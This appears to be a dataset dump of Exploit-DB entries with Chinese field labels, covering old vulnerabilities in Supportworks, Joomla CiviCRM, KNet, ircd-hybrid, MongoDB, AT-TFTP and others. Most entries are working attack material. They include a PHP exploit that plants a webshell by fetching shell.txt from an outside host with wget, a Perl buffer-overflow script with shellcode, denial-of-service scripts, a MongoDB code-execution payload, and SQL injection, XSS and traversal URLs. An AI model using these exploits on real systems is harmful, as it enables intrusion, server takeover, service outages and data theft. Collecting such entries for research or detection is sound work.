QLWD/code_shield huggingface dataset:
标题: Hornbill Supportworks ITSM 1.0.0 - SQL Injection EDB-ID: 25002 CVE: 2013-2594 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-25 漏洞利用脚本: Summary

 

SQL Injection Vulnerability in ITSM component of Hornbill Supportworks
Application

 

    CVE number: CVE-2013-2594

    Impact: High

    Vendor homepage: http://www.hornbill.com

    Vendor notified: 19/11/2012

    Vendor response: This issue has reportedly been fixed but the vendor
refused to give version details.

    Credit: Joseph Sheridan of ReactionIS

 

Affected Products

 

Supportworks ITSM versions 1.0.0 and possibly other versions

 

Details

 

There is a SQL injection vulnerability in the ITSM component of the
Supportworks Application. The vulnerable file is calldiary.php found in the
/reports folder of the webroot. The following URL demonstrates the issue:

 

 

http://vulnhost.com/reports/calldiary.php?callref=VULN 

 

This attack can be used to take full control of the host by writing a php
webshell document (using mysql 'into outfile') to the webroot.

 

 

Impact

 

An attacker may be able to take full control of the Supportworks server and
execute arbitrary operating-system commands.

 

Solution

 

Upgrade to the latest available ITSM version - contact Vendor for more
details.

 

http://www.reactionpenetrationtesting.co.uk 

http://www.reactionpenetrationtesting.co.uk/research.html 

http://www.reactionpenetrationtesting.co.uk/security-testing-services.html URL: https://www.exploit-db.com/exploits/25002
标题: QwikMail 0.3 - 'HELO' Buffer Overflow (PoC) EDB-ID: 25004 CVE: 2004-1291 类型: DOS 平台: LINUX 发布日期: 2004-12-15 漏洞利用脚本: source: www.securityfocus.com/bid/11989/info

QwikMail (qwik-smtpd) is reported prone to a remotely exploitable buffer overflow vulnerability. The issue is due to insufficient bounds checking of client-supplied SMTP HELO request data.

This issue could theoretically be exploited to execute arbitrary code. Due to the memory layout, it is also reportedly possible to overwrite an adjacent buffer in a manner that will allow a remote attacker to abuse the server as an unauthorized mail relay. 

HELO AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA127.0.0.1 URL: https://www.exploit-db.com/exploits/25004
标题: Gadu-Gadu 6.0 - URL Parser JavaScript Cross-Site Scripting EDB-ID: 25009 CVE: 2004-1410 类型: REMOTE 平台: WINDOWS 发布日期: 2004-12-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/11998/info

Multiple remote vulnerabilities reportedly affect Gadu-Gadu instant messenger. It supports the DCC (Direct Client Connection) protocol, facilitating the transfer of files and messages between users.

The input validation issue is an HTML injection vulnerability in the instant messaging system. It is worth noting that this issue, although not exactly the same, resembles closely the HTML injection issue outlined in BID 11899 (Gadu-Gadu Multiple Remote Vulnerabilities). The denial of service vulnerability is due to a bug in the image handling code of the affected application.

An attacker may leverage these issues to carry out HTML injection attacks, potentially stealing sensitive information, and to carry out denial of service attacks, denying legitimate users of access to the affected software. 

www.po"style=background-image:url(javascript:document.write('%3cscript%3ealert%28%22you%20are%20owned!%22%29%3c%2fscript%3e'));".pl URL: https://www.exploit-db.com/exploits/25009
标题: PHP 4/5 - 'addslashes()' Null Byte Bypass EDB-ID: 24985 CVE: 2004-1020 类型: REMOTE 平台: PHP 发布日期: 2004-12-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/11981/info

PHP4 and PHP5 are reported prone to multiple remotely exploitable vulnerabilities. These issue result from insufficient sanitization of user-supplied data. A remote attacker may carry out directory traversal attacks to disclose arbitrary files and upload files to arbitrary locations.

It is reported that these vulnerabilities may only be exploited on Windows.


http://www.example.com/phpscript.php?whatever=../../../../boot.ini%00
http://www.example.com/phpscript.php?whatever=..\'file.ext URL: https://www.exploit-db.com/exploits/24985
标题: Yanf 0.4 - HTTP Response Buffer Overflow EDB-ID: 24980 CVE: 2004-1303 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/11975/info

Yanf is prone to a buffer overflow vulnerability. This issue is exposed when the client reads data from a remote HTTP server.

If this issue is successfully exploited, it could allow for execution of arbitrary code in the context of the user running the client. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24980.zip URL: https://www.exploit-db.com/exploits/24980
标题: XLReader 0.9 - Remote Client-Side Buffer Overflow EDB-ID: 24979 CVE: 2004-1301 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-12-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/11970/info

A remote, client-side buffer overflow vulnerability affects xlreader. This issue is due to a failure of the application to properly validate the length of user-supplied strings prior to copying them into static process buffers.

An attacker may exploit this issue to execute arbitrary code with the privileges of the user that activated the vulnerable application. This may facilitate unauthorized access or privilege escalation. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24979.zip URL: https://www.exploit-db.com/exploits/24979
标题: Vilistextum 2.6.6 - HTML Attribute Parsing Buffer Overflow EDB-ID: 24983 CVE: 2004-1299 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/11979/info

Vilistextum is prone to a buffer overflow vulnerability. This issue is exposed when the application parses HTML attributes while converting an HTML file to text/ASCII. Since HTML files will likely originate from an external or untrusted source, this issue should be considered remote in nature.

Successful exploitation will allow for execution of arbitrary code in the context of the user running the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24983.zip URL: https://www.exploit-db.com/exploits/24983
标题: IkonBoard 3.x - Multiple SQL Injections EDB-ID: 24986 CVE: 2004-1406 类型: WEBAPPS 平台: CGI 发布日期: 2004-12-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/11982/info

Multiple remote SQL injection vulnerabilities reportedly affect Ikonboard. These issues are due to a failure of the application to properly sanitize user-supplied input prior to including it in SQL queries.

An attacker may exploit these issues to manipulate SQL queries to the underlying database. This may facilitate theft of sensitive information, potentially including authentication credentials, and data corruption. 

http://host/support/ikonboard.cgi?act=ST&f=27&t=13066&hl=nickname&st=[SQL_Syntax]
http://host/support/ikonboard.cgi?act=Search&CODE=01&keywords=[SQL_Syntax]&type=name&forums=all&search_in=all&prune=0 URL: https://www.exploit-db.com/exploits/24986
标题: Xine-Lib 0.9/1 - Remote Client-Side Buffer Overflow EDB-ID: 24978 CVE: 2004-1300 类型: REMOTE 平台: LINUX 发布日期: 2004-12-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/11969/info

It is reported that the xine media library is affected by a remote buffer overflow vulnerability. This issue can allow a remote attacker to gain unauthorized access to a vulnerable computer. The overflow condition presents itself in the 'demux_aiff.c' file. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24978.avi URL: https://www.exploit-db.com/exploits/24978
标题: CUPS 1.1.x - '.HPGL' File Processor Buffer Overflow EDB-ID: 24977 CVE: 2004-1267 类型: REMOTE 平台: LINUX 发布日期: 2004-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/11968/info

CUPS is reported prone to a remote buffer overflow vulnerability. The issue is reported to exist in the 'hpgl-input.c' source file and is because of a lack of sufficient boundary checks performed on data contained in HPGL files.

A remote attacker may exploit this condition to execute arbitrary code in the context of the vulnerable CUPS daemon. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24977.gz




Ariel Berkman, a student in my Fall 2004 UNIX Security Holes course, has
discovered a remotely exploitable security hole in CUPS. I'm publishing
this notice, but all the discovery credits should be assigned to
Berkman.

A CUPS installation is at risk whenever it prints an HPGL file obtained
from email (or a web page or any other source that could be controlled
by an attacker). You are at risk if you print data through a CUPS
installation at risk. The source of the HPGL file has complete control
over the CUPS ``lp'' account; in particular, he can read and modify the
files you are printing.

Proof of concept: On an x86 computer running FreeBSD 4.10, as root, type

   cd /usr/ports/print/cups
   make install

to download and compile the CUPS package, version 1.1.22 (current).
Then, as any user, save the file 21.hpgl.gz attached to this message,
and type

   gunzip 21.hpgl
   /usr/local/libexec/cups/filter/hpgltops \
   15 $USER test-title 1 none 21.hpgl > 21.ps

with the unauthorized result that a file named x is removed from the
current directory. (I tested this with a 541-byte environment, as
reported by printenv | wc -c.)

Here's the bug: In hpgl-input.c, ParseCommand() reads any number of
bytes into a 262144-byte buf[] array.

---D. J. Bernstein, Associate Professor, Department of Mathematics,
Statistics, and Computer Science, University of Illinois at Chicago
Source: http://securesoftware.list.cr.yp.to/archive/0/25 URL: https://www.exploit-db.com/exploits/24977
标题: Joomla! Component com_civicrm 4.2.2 - Remote Code Injection EDB-ID: 24969 CVE: 2011-4275 2009-4140 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-22 漏洞利用脚本: # Exploit Title: joomla component com_civicrm remode code injection exploit
# Google Dork:"Index of /joomla/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart"
# Date: 20/04/2013
# Exploit Author: iskorpitx
# Vendor Homepage: http://civicrm.org
# Software Link: http://civicrm.org/blogs/yashodha/announcing-civicrm-422
# Version: [civicrm 4.2.2]
# Tested on: Win8 Pro x64 
# CVE : http://www.securityweb.org

<?php 
  
# Joomla component com_civicrm OpenFlashCart ofc_upload_image.php remote code injection exploit
# http://www.securityweb.org & http://www.security.biz.tr
# multithreading mass c:\appserv\www>exp.php -u http://target.com/ -f post.php
  
   
  
$options = getopt('u:f:'); 
  
if(!isset($options['u'], $options['f'])) 
die("\n        Usage example: php jnews.php -u http://target.com/ -f post.php\n 
-u http://target.com/    The full path to Joomla! 
-f post.php             The name of the file to create.\n");  
  
$url     =  $options['u']; 
$file    =  $options['f']; 


$shell = "{$url}administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/{$file}"; 
$url   = "{$url}administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?name={$file}"; 

  
$data      = '<?php 
 system("wget http://www.securityweb.org/shell.txt; mv shell.txt post.php");
 system("cp post.php ../../../../../../../tmp/post.php");
 system("cd ..; rm -rf tmp-upload-images");
 echo "by iskorpitx" ; 
 fclose ( $handle ); 
 ?>'; 
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1', 
'Content-Type: text/plain'); 
  
  
echo "        [+] Submitting request to: {$options['u']}\n"; 
  
  
$handle = curl_init(); 
  
curl_setopt($handle, CURLOPT_URL, $url); 
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers); 
curl_setopt($handle, CURLOPT_POSTFIELDS, $data); 
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true); 
  
$source = curl_exec($handle); 
curl_close($handle); 
  
  
if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r')) 
{ 
echo "        [+] Exploit completed successfully!\n"; 
echo "        ______________________________________________\n\n        {$shell}?cmd=system('id');\n"; 
} 
else
{ 
die("        [+] Exploit was unsuccessful.\n"); 
} 
   
?> URL: https://www.exploit-db.com/exploits/24969
标题: phpVms Virtual Airline Administration 2.1.934/2.1.935 - SQL Injection EDB-ID: 24960 CVE: 2013-3524 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-15 漏洞利用脚本: =============================================================================================================


  [o] phpVMS Virtual Airline Administration <= SQL Injection Vulnerability

       Software : phpVMS Virtual Airline Administration
       Version  : 2.1.934 & 2.1.935
       Vendor   : http://www.phpvms.net
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Desc     : phpVMS is the most popular, free, virtual airline software,
    with support for various ACARS applications (kACARS, FSACARS, XAcars, FS Flight Keeper, and FSPassengers),
    AJAX-driven administration panel, complete with financial reports, schedule management and
    various other features designed for realistic operation of your virtual airline.


=============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php/PopUpNews/popupnewsitem/?itemid=[SQLi]


=============================================================================================================


  [o] PoC

       http://localhost/path/index.php/PopUpNews/popupnewsitem/?itemid=123+union+select+1,version(),database(),4,user()--


=============================================================================================================


  [o] Greetz

       Vrs-hCk OoN_BoY Paman zxvf s4va Angela Zhang stardustmemory
       aJe kaka11 matthews wishnusakti inc0mp13te martfella
       pizzyroot Genex H312Y noname tukulesto }^-^{


=============================================================================================================


  [o] April 15 2013 - Papua, Indonesia URL: https://www.exploit-db.com/exploits/24960
标题: ircd-hybrid 8.0.5 - Denial of Service EDB-ID: 24951 CVE: 2013-0238 类型: DOS 平台: LINUX 发布日期: 2013-04-12 漏洞利用脚本: #!/usr/bin/perl
# ircd-hybrid remote denial of service exploit for CVE-2013-0238
# quick and dirty h4x by kingcope
# tested against ircd-hybrid-8.0.5 centos6
# please modify below in case of buggy code.
# enjoy!

use Socket;

srand(time());
$exploiting_nick = "hybExpl" . int(rand(10000));
    
sub connecttoserver()
{
 $bool = "yes";
 $iaddr = inet_aton($ircserver) || die("Failed to find host: $ircserver");
 $paddr = sockaddr_in($ircport, $iaddr);
 $proto = getprotobyname('tcp');
 socket(SOCK1, PF_INET, SOCK_STREAM, $proto) || die("Failed to open socket:$!");
 connect(SOCK1, $paddr) || {$bool = "no"};
}

sub usage() {
 
 print "usage: ircd-hybrid.pl <target> <port>\r\n";
 exit;
}

$| = 1;
print "----------------------------------------------------------------------\r\nLets have fun!\r\n";
print "----------------------------------------------------------------------\r\n";

if (!defined($ARGV[1])) {
 usage(); 
}

$ircport = $ARGV[1];
$ircserver = $ARGV[0];

print "Connecting to $ircserver on port $ircport...\n";

connecttoserver();

if ($bool eq "no")
{
 print "Connection refused.\r\n";
 exit(0);
}

send(SOCK1,"NICK $exploiting_nick\r\n",0);
send(SOCK1,"USER $exploiting_nick \"yahoo.com\" \"eu.hax.net\" :$exploiting_nick\r\n",0);

while (<SOCK1>) { 
 $line = $_;
 print $line;
 if ((index $line, " 005 ") ne -1) {
  goto logged_in; 
 }
 
 if ((index $line, "PING") ne -1) {
  substr($line,1,1,"O");
  send(SOCK1, $line, 0); 
 }
}

logged_in:

print " ok\r\n"; 

print "Sending buffers...\r\n";
$channelr = int(rand(10000));
send(SOCK1, "JOIN #h4xchan$channelr\r\n", 0);
sleep(1);
$k = 0;
do {
print $_;
$k++;
$crashnum = -1000009 - $k * 1000;
send(SOCK1, "MODE #h4xchan$channelr +b *!*\@127.0.0.1/$crashnum\r\n", 0);
} while(<SOCK1>);
 
print "done\r\n";

# EOF URL: https://www.exploit-db.com/exploits/24951
标题: KNet Web Server 1.04b - Stack Corruption Buffer Overflow EDB-ID: 24950 CVE: 2005-0575 类型: REMOTE 平台: WINDOWS 发布日期: 2013-04-12 漏洞利用脚本: #!/usr/bin/perl
# KNet Web Server Stack corruption BoF PoC
# Written by Wireghoul - http://www.justanotherhacker.com
# Date: 2013/04/11
# Version: 1.04b
# Tested on: WinXP SP3

use IO::Socket::INET;
$host = shift;
$port = shift;
print "KNet Web Server stack corruption BoF PoC - Wireghoul -
http://www.justanotherhacker.com\n";
die "Usage $0 <host> <port>\n" unless $host && $port;
$sock = IO::Socket::INET->new("$host:$port") or die "Unable to connect to
$host:$port\n";

# Shellcode for calc.exe
$shellcode=
"\x89\xe2\xda\xd5\xd9\x72\xf4\x5d\x55\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x6b\x4c\x78\x68\x4e\x69\x45\x50\x73\x30" .
"\x63\x30\x61\x70\x6e\x69\x78\x65\x75\x61\x39\x42\x62\x44" .
"\x6c\x4b\x51\x42\x34\x70\x4e\x6b\x72\x72\x46\x6c\x4e\x6b" .
"\x71\x42\x37\x64\x4e\x6b\x44\x32\x36\x48\x54\x4f\x4e\x57" .
"\x53\x7a\x35\x76\x76\x51\x39\x6f\x44\x71\x4b\x70\x4e\x4c" .
"\x77\x4c\x35\x31\x73\x4c\x47\x72\x64\x6c\x67\x50\x4a\x61" .
"\x78\x4f\x54\x4d\x33\x31\x68\x47\x49\x72\x6a\x50\x73\x62" .
"\x63\x67\x6c\x4b\x52\x72\x66\x70\x6e\x6b\x53\x72\x77\x4c" .
"\x63\x31\x48\x50\x6e\x6b\x73\x70\x64\x38\x6e\x65\x69\x50" .
"\x52\x54\x50\x4a\x65\x51\x48\x50\x56\x30\x4c\x4b\x70\x48" .
"\x47\x68\x4c\x4b\x42\x78\x37\x50\x66\x61\x78\x53\x39\x73" .
"\x77\x4c\x57\x39\x4c\x4b\x75\x64\x4c\x4b\x77\x71\x38\x56" .
"\x70\x31\x59\x6f\x76\x51\x39\x50\x6c\x6c\x6f\x31\x6a\x6f" .
"\x34\x4d\x53\x31\x78\x47\x45\x68\x79\x70\x42\x55\x6b\x44" .
"\x77\x73\x61\x6d\x59\x68\x47\x4b\x51\x6d\x34\x64\x62\x55" .
"\x4d\x32\x31\x48\x4c\x4b\x71\x48\x47\x54\x37\x71\x4e\x33" .
"\x43\x56\x4e\x6b\x76\x6c\x32\x6b\x6c\x4b\x70\x58\x57\x6c" .
"\x36\x61\x79\x43\x6e\x6b\x73\x34\x6e\x6b\x33\x31\x4a\x70" .
"\x4b\x39\x73\x74\x34\x64\x54\x64\x63\x6b\x31\x4b\x65\x31" .
"\x33\x69\x72\x7a\x70\x51\x39\x6f\x69\x70\x70\x58\x31\x4f" .
"\x52\x7a\x6c\x4b\x36\x72\x58\x6b\x6b\x36\x73\x6d\x63\x5a" .
"\x55\x51\x4c\x4d\x6b\x35\x6c\x79\x35\x50\x63\x30\x65\x50" .
"\x66\x30\x35\x38\x46\x51\x6e\x6b\x50\x6f\x4c\x47\x79\x6f" .
"\x6e\x35\x4d\x6b\x5a\x50\x68\x35\x6f\x52\x62\x76\x42\x48" .
"\x6f\x56\x6d\x45\x4f\x4d\x6f\x6d\x4b\x4f\x7a\x75\x75\x6c" .
"\x66\x66\x31\x6c\x74\x4a\x6f\x70\x79\x6b\x4b\x50\x52\x55" .
"\x53\x35\x6d\x6b\x50\x47\x36\x73\x42\x52\x52\x4f\x72\x4a" .
"\x45\x50\x72\x73\x6b\x4f\x6b\x65\x30\x63\x33\x51\x52\x4c" .
"\x50\x63\x64\x6e\x51\x75\x42\x58\x45\x35\x57\x70\x41\x41";

$dist=1003-length($shellcode);
$payload = "\x90"x$dist; # Distance to overwrite EIP
$payload.=$shellcode;
$payload.="\x90" x 8; #Spacer between EIP and shellcode
$payload.= "\x53\x93\x42\x7e"; #Overwrite EIP with jmp esp
$payload.="\x90\x90\x90\x90\xE9\xF4\xFC\xFF\xFF"; #stack padding + BP +
Near jmp-300
$payload.=" / HTTP/1.0\r\n\r\n"; # Needs to be a valid HTTP request

print $sock $payload; URL: https://www.exploit-db.com/exploits/24950
标题: Simple HRM System 2.3 - Multiple Vulnerabilities EDB-ID: 24954 CVE: 2013-2498 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-12 漏洞利用脚本: # Exploit Title: Multiple Vulnerabilities in Simple HRM system v2.3 and
below
# Date: 12/04/2013
# Exploit Author: Doraemon
# Vendor Homepage: http://www.simplehrm.com/
# Software Link: http://sourceforge.net/projects/simplehrm/
# Version: 2.2/2.3
# Tested on: 2.2 & 2.3
# CVE : CVE-2013-2498, CVE-2013-2499

Date Discovered: 07 March 2013

Vendor notified: 12 march 2013 (No response from vendor after 1 month)

Advisory posted: 12 April 2013

*
*

*CVE-2013-2498*

Simple HRM system is vulnerable to sqli attacks in their login page

An attacker can perform blind sql injection through the login form and
obtain information such as password hash.

*Attack URL:* http://localhost/simplehrm/index.php/user/setLogin
*Method:* POST
*Vuln Parameter: *username=*(SQL INJECTION)*&password=abcdef
*Vuln Type*: unsanitised input argument *($name)* in
*Vuln **File:* simlehrm/flexycms/modules/user/user_manager.php
*Line:* 84
$res_company = getsingleindexrow('CALL
get_search_sql("'.TABLE_PREFIX.'company","email_id = \''.$name.'\' AND
isactive = 1 LIMIT 1")');

*CVE-2013-2499*

We discovered that if an attacker were to grab hold of the user's password
hash, the attacker can easily spoof a cookie and impersonate as anyone to
access the system. Together with the blind sql injection stated above, an
attacker can simply blind the password hash, userid, username and recreate
a cookie.

*Vuln **File:* simlehrm/flexycms/modules/user/user_manager.php
*Line:* 215 $v_user_password =
md5($info['id_user'].$info['username'].$info['password']);

This vuln effectively defeats one of the primary purposes of password hashing.


Regards

Doraemon URL: https://www.exploit-db.com/exploits/24954
标题: MongoDB 2.2.3 - nativeHelper.apply Remote Code Execution EDB-ID: 24947 CVE: 2013-1892 类型: REMOTE 平台: LINUX 发布日期: 2013-04-08 漏洞利用脚本: #Title: MongoDB nativeHelper.apply Remote Code Execution
#Author: agixid http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/
#Software Link: http://fastdl.mongodb.org/linux/mongodb-linux-i686-2.2.3.tgz
#Version: 2.2.3

The following PoC exploits the "nativeHelper" feature in the spidermonkey mongodb implementation.
the NativeFunction "func" come from "x" javascript object and then is called without any check:

db.my_collection.find({'$where':'shellcode=unescape("METASPLOIT JS GENERATED SHELLCODE"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,(sizechunk-shellcode.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+shellcode; } ropchain=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c%u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++){ chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2-ropchain.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+ropchain; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"\x26\x18\x35\x08"+"MongoSploit!"+"\x58\x71\x45\x08"+"sthack is a nice place to be"+"\x6c\x5a\x05\x08"+"\x20\x20\x20\x20"+"\x58\x71\x45\x08"]);'}) URL: https://www.exploit-db.com/exploits/24947
标题: Allied Telesyn TFTP (AT-TFTP) Server/Daemon 2.0 - Stack Buffer Overflow (Denial of Service) (PoC) EDB-ID: 24952 CVE: 2006-6184 类型: DOS 平台: WINDOWS 发布日期: 2013-04-12 漏洞利用脚本: # Exploit Title: AT-TFTP 2.0 long filename stack based buffer overflow - DOS 
# Date: 12.04.2013
# Exploit Author: xis_one@STM Solutions 
# Vendor Homepage:  http://www.alliedtelesis.com/
# Software Link: http://alliedtelesis.custhelp.com/cgi-bin/alliedtelesis.cfg/php/enduser/std_adp.php?p_faqid=1081&p_created=981539150&p_topview=1 
# Version: 2.0 
# Tested on: Windows XP SP3
#
# From 1.9 Remote Exec BOF disovered in 2006 by liuqx@nipc.org.cn  to 2.0 Remote DOS BOF 2013 - no lesson learned.
# Two variants:
#
# 1. SEH overwrite but no exception handler trigger (cookie on stack?)
# 2. Read access violation (non-exploitable?)
#
# Still we can crash the server remotely.  
#
#!/usr/bin/python
import socket
import sys
host = '192.168.1.32'
port = 69

nseh="\xCC\xCC\xCC\xCC"

#seh handler overwritten at 261 byte of shellcode but to exception triggered to use it.
 
seh="\x18\x0B\x27" # Breakpoint in no SafeSEH space in Windows XP SP3


payload="\xCC"*257 + nseh + seh + "\x00" + "3137" + "\x00"

#payload to get access violation:
#payload=("\x00\x01\x25\x32\x35\x25"
#"\x35\x63\x2e\x2e\x25\x32\x35\x25\x35\x63\x2e\x2e\x25\x32\x35\x25"
#"\x35\x63\x2e\x2e\x25\x32\x35\x25\x35\x63\x2e\x2e\x25\x32\x35\x25"
#"\x35\x63\x2e\x2e\x25\x32\x35\x25\x35\x63\x2e\x2e\x25\x32\x35\x25"
#"\x35\x63\x2e\x2e\x25\x32\x35\x25\x35\x63\x2e\x2e\x25\x32\x35\x25"
#"\x35\x63\x2e\x2e\x25\x32\x35\x25\x35\x63\x2e\x2e\x25\x32\x35\x25"
#"\x35\x63\x2e\x2e\x25\x32\x35\x25\x35\x63\x2e\x2e\x25\x32\x35\x25"
#"\x35\x63\x2e\x2e\x25\x32\x35\x25\x35\x63\x2e\x2e\x25\x32\x35\x35"
#"\x63\x65\x74\x63\x25\x32\x35\x35\x63\x68\x6f\x73\x74\x73\x00\x6e"
#"\x00")

buffer="\x00\x01"+  payload + "\x06" + "netascii" + "\x00"


s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(buffer, (host, port)) URL: https://www.exploit-db.com/exploits/24952